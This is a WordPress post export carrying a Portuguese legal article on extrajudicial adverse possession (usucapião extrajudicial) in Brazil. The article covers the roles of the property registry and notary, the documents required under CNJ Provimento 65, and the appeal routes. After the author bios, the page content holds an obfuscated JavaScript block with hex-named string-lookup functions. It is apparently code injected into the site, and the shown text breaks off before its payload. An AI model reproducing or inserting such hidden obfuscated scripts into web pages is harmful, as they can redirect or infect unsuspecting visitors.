{"id":738,"date":"2018-08-08T15:04:57","date_gmt":"2018-08-08T18:04:57","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-aspectos-criticos-e-praticos-da-usucapiao-extrajudicial-por-allan-milagres-e-gustavo-sousa-cesar\/"},"modified":"2018-08-08T15:04:57","modified_gmt":"2018-08-08T18:04:57","slug":"artigo-aspectos-criticos-e-praticos-da-usucapiao-extrajudicial-por-allan-milagres-e-gustavo-sousa-cesar","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-aspectos-criticos-e-praticos-da-usucapiao-extrajudicial-por-allan-milagres-e-gustavo-sousa-cesar\/","title":{"rendered":"Artigo &#8211; Aspectos cr\u00edticos e pr\u00e1ticos da usucapi\u00e3o extrajudicial &#8211; Por Allan Milagres e Gustavo Sousa C\u00e9sar"},"content":{"rendered":"<div class=\"wysiwyg\">\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; n&atilde;o &eacute; mais novidade que o novo CPC disciplinou e procedimentalizou, em parte, a possibilidade de uma determinada pessoa adquirir a propriedade de um im&oacute;vel diretamente e perante o Cart&oacute;rio de Registro de Im&oacute;veis (CRI), o que viabilizou e assegurou um procedimento mais c&eacute;lere. No entanto, considerando as recentes e diversas altera&ccedil;&otilde;es procedimentais promovidas pelo Provimento&nbsp;65\/2017 do Conselho Nacional de Justi&ccedil;a e pela Lei&nbsp;13.465\/2017, faz-se necess&aacute;rio um constante estudo cr&iacute;tico sobre a usucapi&atilde;o extrajudicial, com o intuito de fomentar o debate entre os entusiastas do mercado e do Direito Imobili&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A princ&iacute;pio, destaca-se a potencialidade e a legitimidade das serventias extrajudiciais, cuja presta&ccedil;&atilde;o de servi&ccedil;o contribuir&aacute; para a satisfa&ccedil;&atilde;o dos interesses e conflitos hodiernos (1) de maneira a evitar o aumento da sobrecarga do Judici&aacute;rio; com cada vez menos recursos (f&iacute;sico, pessoal e financeiro), os tribunais encontram-se sobrecarregados e sem perspectivas de encontrar uma sa&iacute;da para a sobrecarga processual. Os jurisdicionados, por sua vez, est&atilde;o cada vez mais desacreditados com a lentid&atilde;o processual (2). A busca pela celeridade na satisfa&ccedil;&atilde;o dos interesses das pessoas fez com que a desjudicializa&ccedil;&atilde;o do Direito se destacasse, propagando, dessa maneira, as serventias cartor&aacute;rias (imobili&aacute;rias).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A usucapi&atilde;o extrajudicial, destarte, foi disciplinada, inicialmente, no artigo 1.071 do (novo) C&oacute;digo de Processo Civil, que acrescentou o texto do artigo 216-A na Lei de Registros P&uacute;blicos. Por&eacute;m, ainda faltava uma norma (procedimental) que garantisse a conclus&atilde;o efetiva da usucapi&atilde;o (3). Sendo assim, entrou em vigor a Lei 13.465\/17, que introduziu importantes altera&ccedil;&otilde;es no artigo 216-A da Lei de Registros P&uacute;blicos. Posteriormente, o Conselho Nacional de Justi&ccedil;a publicou o Provimento&nbsp;65 em 14\/12\/2017.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A compet&ecirc;ncia para o <em>processamento<\/em> da usucapi&atilde;o extrajudicial &eacute; do Cart&oacute;rio de Registro de Im&oacute;veis da circunscri&ccedil;&atilde;o imobili&aacute;ria onde se situar o im&oacute;vel <em>usucapiendo<\/em>, independentemente de o im&oacute;vel encontrar-se matriculado ou transcrito. Na eventualidade de o im&oacute;vel estar&nbsp;localizado em dois ou mais munic&iacute;pios diferentes, deve-se <em>processar<\/em> no local onde estiver a maior parte dele.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Logo, identificado o im&oacute;vel <em>usucapiendo<\/em>, poder&aacute; o possuidor, atrav&eacute;s de advogado ou defensor p&uacute;blico, protocolar uma peti&ccedil;&atilde;o (inicial) (4) no Cart&oacute;rio de Registro de Im&oacute;veis, cujos documentos indispens&aacute;veis est&atilde;o dispostos nos artigos 3&ordm; e 4&ordm; do Provimento&nbsp;65. Entretanto, antes de se instrumentalizar a pretens&atilde;o perante o CRI, deve o requerente providenciar alguns outros importantes documentos, o que vai diferir este procedimento do judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A princ&iacute;pio, ent&atilde;o, o possuidor do im&oacute;vel dever&aacute;, independentemente da presen&ccedil;a de advogado ou defensor p&uacute;blico, protocolar um requerimento no Cart&oacute;rio de Notas do munic&iacute;pio em que estiver localizado o im&oacute;vel (5), de maneira a solicitar que o titular daquela serventia lavre uma ata notarial, atestando a descri&ccedil;&atilde;o do im&oacute;vel, o tempo e as caracter&iacute;sticas da posse do requerente e de seus antecessores (<em>acessio possessionis<\/em>), a forma de aquisi&ccedil;&atilde;o da posse, a modalidade de usucapi&atilde;o pretendida, o n&uacute;mero de im&oacute;veis atingidos pela pretens&atilde;o aquisitiva, a localiza&ccedil;&atilde;o, o valor do im&oacute;vel, entre outras informa&ccedil;&otilde;es que o not&aacute;rio julgar necess&aacute;rias.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Posteriormente, a parte dever&aacute; providenciar o memorial descritivo e a planta de situa&ccedil;&atilde;o do im&oacute;vel assinados por profissional legalmente habilitado (6)e pelo (atual) propriet&aacute;rio do im&oacute;vel objeto do usucapi&atilde;o e dos propriet&aacute;rios dos im&oacute;veis confrontantes (7). Contudo, na falta da anu&ecirc;ncia daqueles titulares, o registrador dever&aacute; notific&aacute;-los, pessoalmente ou por correio com aviso de recebimento, para consentirem com a usucapi&atilde;o; <em>seu sil&ecirc;ncio importar&aacute; concord&acirc;ncia<\/em>.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Registra-se, outrossim, que se dispensa&nbsp;o consentimento expresso e a tentativa de busc&aacute;-lo caso o requerente apresente o &ldquo;justo t&iacute;tulo ou instrumento que demonstre a exist&ecirc;ncia de rela&ccedil;&atilde;o jur&iacute;dica com o titular registral, acompanhado de prova da quita&ccedil;&atilde;o das obriga&ccedil;&otilde;es e de certid&atilde;o do distribuidor c&iacute;vel expedida at&eacute; trinta dias antes do requerimento que demonstre a inexist&ecirc;ncia de a&ccedil;&atilde;o judicial contra o requerente ou contra seus cession&aacute;rios envolvendo o im&oacute;vel usucapiendo&rdquo; (artigo&nbsp;13 do Provimento 65 do CNJ).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda, o registrador dever&aacute; dar ci&ecirc;ncia &agrave; Uni&atilde;o, ao estado, ao Distrito Federal e ao munic&iacute;pio sobre o procedimento de usucapi&atilde;o, &ldquo;pessoalmente, por interm&eacute;dio do oficial de registro de t&iacute;tulos e documentos, ou pelo correio com aviso de recebimento&rdquo; (artigo&nbsp;216-A, par&aacute;grafo 3&ordm;, da Lei 6.015 73). Tamb&eacute;m, acrescente-se que o registrador dever&aacute; promover a publica&ccedil;&atilde;o de edital (par&aacute;grafo 4&ordm;).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Observados os demais documentos, n&atilde;o menos importantes, exigidos no artigo&nbsp;4&ordm; do Provimento 65 do CNJ, o procurador da parte requerente dever&aacute;, nos termos do artigo&nbsp;319 do CPC, expor e fundamentar (causa de pedir) os pedidos, relatando como se deu o in&iacute;cio da posse e o modo de aquisi&ccedil;&atilde;o, bem como eventuais cess&otilde;es de direitos possess&oacute;rios, qualificando os cedentes e mencionando a data de cada cess&atilde;o. Por fim, dever&aacute; pedir a proced&ecirc;ncia da usucapi&atilde;o, com a declara&ccedil;&atilde;o de propriedade em favor do possuidor-requerente e o consequente registro da aquisi&ccedil;&atilde;o da propriedade na matr&iacute;cula do im&oacute;vel, ou na matr&iacute;cula que for aberta.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Protocolada a <em>peti&ccedil;&atilde;o (inicial)<\/em>, o oficial do registro de im&oacute;veis, atrav&eacute;s de seus colaboradores, assim como determina o CPC nos &ldquo;atos do escriv&atilde;o&rdquo; &mdash;&nbsp;artigo&nbsp;206 e seguintes do CPC &mdash;, autuar&aacute;, numerar&aacute; e rubricar&aacute; os <em>autos<\/em>. De conseguinte, aquele oficial, na qualidade de &ldquo;juiz extrajudicial&rdquo;, analisar&aacute; os pressupostos de admissibilidade da peti&ccedil;&atilde;o (inicial), podendo, inclusive, emitir uma nota de devolu&ccedil;&atilde;o, apontando os itens a serem corrigidos pelo requerente. Noutras palavras, poder&aacute; o registrador solicitar que o requerente emende a sua peti&ccedil;&atilde;o, corrigindo irregularidades (san&aacute;veis).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em raz&atilde;o da consensualidade (n&atilde;o litigiosidade) que assola as atividades (extrajudiciais) cartor&aacute;rias, ocorrendo impugna&ccedil;&atilde;o do pedido de reconhecimento da usucapi&atilde;o extrajudicial, o registrador tentar&aacute; promover a concilia&ccedil;&atilde;o ou a media&ccedil;&atilde;o entre as <em>partes<\/em>. Sendo infrut&iacute;fera a tentativa de concilia&ccedil;&atilde;o\/media&ccedil;&atilde;o, este lavrar&aacute; um relat&oacute;rio de todo o <em>processo<\/em> e entregar&aacute; para a parte requerente, a qual poder&aacute; aproveit&aacute;-lo e distribuir perante o ju&iacute;zo competente. Ou seja, tornar-se-&aacute; judicial o procedimento da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na qualidade de <em>decisor<\/em>, poder&aacute; o registrador rejeitar (indeferir), fundamentadamente, a pretens&atilde;o do requerente, cuja decis&atilde;o poder&aacute; ser impugnada perante o pr&oacute;prio oficial. Mantida a <em>decis&atilde;o<\/em>, o requerente, da mesma maneira exposta acima, poder&aacute; judicializar a usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por fim, constata-se que as inova&ccedil;&otilde;es da &ldquo;desjudicializa&ccedil;&atilde;o&rdquo; da usucapi&atilde;o, em sua nova modalidade (extrajudicial), n&atilde;o afeta a sua natureza jur&iacute;dica e sua classifica&ccedil;&atilde;o como forma de aquisi&ccedil;&atilde;o origin&aacute;ria da propriedade (8).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Tendo em vista os aspectos observados, &eacute; evidente que a usucapi&atilde;o extrajudicial foi institu&iacute;da para tornar c&eacute;lere um procedimento extremamente moroso, atribuindo ao tabeli&atilde;o e ao oficial de registro de im&oacute;veis ferramentas para concretizar o direito de propriedade dos usucapientes. Percebe-se que o seu in&iacute;cio, como de qualquer &ldquo;novidade jur&iacute;dica&rdquo;, &eacute; lento e cercado de grande desconfian&ccedil;a, por&eacute;m dentro de algum tempo a modalidade extrajudicial se tornar&aacute; t&atilde;o corriqueira quanto a judicial, como foi no caso do div&oacute;rcio e do invent&aacute;rio extrajudicial.<\/p>\n<div id=\"sdfootnote1\">\n<hr \/>\n<p style=\"text-align: justify;\">(1) Destaca-se, tamb&eacute;m, o Provimento 67 do Conselho Nacional de Justi&ccedil;a, que disp&ocirc;s sobre os procedimentos de concilia&ccedil;&atilde;o e de media&ccedil;&atilde;o nos cart&oacute;rios notariais e de registro.<\/p>\n<p style=\"text-align: justify;\">(2) Conferir a reportagem no site&nbsp;do Conselho Nacional de Justi&ccedil;a sobre a morosidade processual em <a href=\"http:\/\/www.cnj.jus.br\/noticias\/cnj\/86885-especialistas-debatem-saidas-para-sobrecarga-processual-do-judiciario\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.cnj.jus.br\/noticias\/cnj\/86885-especialistas-debatem-saidas-para-sobrecarga-processual-do-judiciario<\/a>.<\/p>\n<p style=\"text-align: justify;\">(3) Registra-se que a procedimentaliza&ccedil;&atilde;o do instituto n&atilde;o estava ocorrendo de forma uniforme nos estados, sendo que os seus respectivos tribunais publicavam provimentos divergentes sobre seus aspectos.<\/p>\n<p style=\"text-align: justify;\">(4) O requerente dever&aacute; observar os requisitos da peti&ccedil;&atilde;o inicial dispostos no artigo&nbsp;319 do CPC, bem como os documentos indispens&aacute;veis &agrave; propositura do usucapi&atilde;o, nos termos dos artigos&nbsp;3&ordm; e 4&ordm; do Provimento 65 do CNJ.<\/p>\n<p style=\"text-align: justify;\">(5) Art. 5&ordm; A ata notarial mencionada no art. 4&ordm; deste provimento ser&aacute; lavrada pelo tabeli&atilde;o de notas do munic&iacute;pio em que estiver localizado o im&oacute;vel usucapiendo ou a maior parte dele, a quem caber&aacute; alertar o requerente e as testemunhas de que a presta&ccedil;&atilde;o de declara&ccedil;&atilde;o falsa no referido instrumento configurar&aacute; crime de falsidade, sujeito &agrave;s penas da lei (Provimento 65 do CNJ).<\/p>\n<p style=\"text-align: justify;\">(6) Todavia, orienta-se que a parte requerente apresente ao tabeli&atilde;o esses documentos quando da confec&ccedil;&atilde;o da ata notarial, de modo a orient&aacute;-lo (tecnicamente), uma vez que sua presen&ccedil;a <em>in loco<\/em> no im&oacute;vel &eacute; facultativa.<\/p>\n<p style=\"text-align: justify;\">(7) Todavia, cabe ressaltar que o artigo 216-A, II, da Lei 6.015 73, cujo texto foi recentemente alterado pela Lei 13.465\/2017, assevera que a planta e o memorial dever&atilde;o estar assinados &ldquo;pelos titulares de direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo ou na matr&iacute;cula dos im&oacute;veis confinantes&rdquo;. Observa-se que o legislador valeu-se da conjun&ccedil;&atilde;o (coordenativa) &ldquo;ou&rdquo;; ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo OU na matr&iacute;cula dos im&oacute;veis confinantes. Ou seja, ser&aacute; que o legislador, propositalmente, deixou a cargo do requerente a op&ccedil;&atilde;o pela busca do consentimento de um OU de outro?<\/p>\n<p style=\"text-align: justify;\">(8) Diante disso, para extirpar qualquer d&uacute;vida, o Provimento 65 do CNJ, em seu artigo 24, deixou claro que n&atilde;o incide o ITBI, justamente por se tornar forma de aquisi&ccedil;&atilde;o origin&aacute;ria da propriedade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<\/div>\n<p><em><strong>Allan Milagres&nbsp;&eacute; advogado da Milagres Meneses Sociedade de Advogados, professor, mestre e especialista em Direito Processual Civil pela PUC Minas, presidente da Comiss&atilde;o de Direito Imobili&aacute;rio da OAB-MG (se&ccedil;&atilde;o Contagem) e membro da Comiss&atilde;o de Direito Processual Civil da OAB-MG.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Gustavo Sousa C&eacute;sar&nbsp;&eacute; advogado, especialista em Direito P&uacute;blico pela PUC Minas e membro da Comiss&atilde;o de Direito Imobili&aacute;rio da OAB-MG (se&ccedil;&atilde;o Contagem).<\/strong><\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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